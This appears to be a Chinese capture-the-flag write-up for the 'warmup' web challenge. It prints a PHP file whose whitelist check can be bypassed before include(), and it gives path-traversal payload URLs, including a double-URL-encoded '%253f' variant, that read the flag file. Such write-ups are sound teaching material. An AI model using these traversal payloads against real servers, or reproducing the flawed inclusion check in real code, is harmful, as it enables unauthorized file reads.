warmup

0x01

F12查看源码,发现source.php

得到源码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    }  
?>

访问hint.php,发现彩蛋

0x02 源码分析

1、mb_substr()


定义:

  • 返回字符串的一部分

语法:
mb_substr(string,start,length,encoding)

  • string,必需,被搜索的字符串
  • start,必需,字符串开始位置
  • length,可选,返回字符串的长度
  • encoding,可选,字符编码,默认使用内部编码

2、mb_strpos()


定义:

  • 返回被查找字符串在另一个字符串中首次出现的位置

语法:
mb_strpos(string,str,start)

  • string,必需,被搜索的字符串
  • str,必需,搜索的字符串
  • start,可选,搜索起始位置

0x03思路

判断条件:不为空,是字符串,满足checkFiles函数

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    }  

checkFile函数有三个判断条件:
不为空,是字符串
传的参数取?之前的字符串
先urldecode解码,然后再满足条件2

满足三个判断条件之一就可以,但条件1返回的是源码,所以必须要满足2,3条件之一,才会显示flag

满足条件的payload为:

第2个判断条件:

http://124.126.19.106:48457/source.php?file=source.php?(payload)
http://124.126.19.106:48457/hint.php?file=source.php?(payload)
//file传参,然后继续在传参,?为传参标志符

第三个判断条件:
http://124.126.19.106:48457/source.php?file=source.php%253f(payload)
http://124.126.19.106:48457/hint.php?file=source.php%253f(payload)
//%253f为?的两次url编码,条件3,中urlencode,解码,所以需要两次

包含flag的文件名为:ffffllllaaaagggg
所以尝试路径

payload
http://124.126.19.106:48457/source.php?file=source.php?/../../../../ffffllllaaaagggg
http://124.126.19.106:48457/hint.php?file=source.php%253f/../../../../ffffllllaaaagggg

include函数:
若一个文件以../开头,那么就会忽略掉前面的字符串,去找后面的文件,路径可以挨个试。
得到flag

参考链接:
https://blog.csdn.net/qq_42016346/article/details/104199710

原文地址:https://www.cnblogs.com/observering/p/12826195.html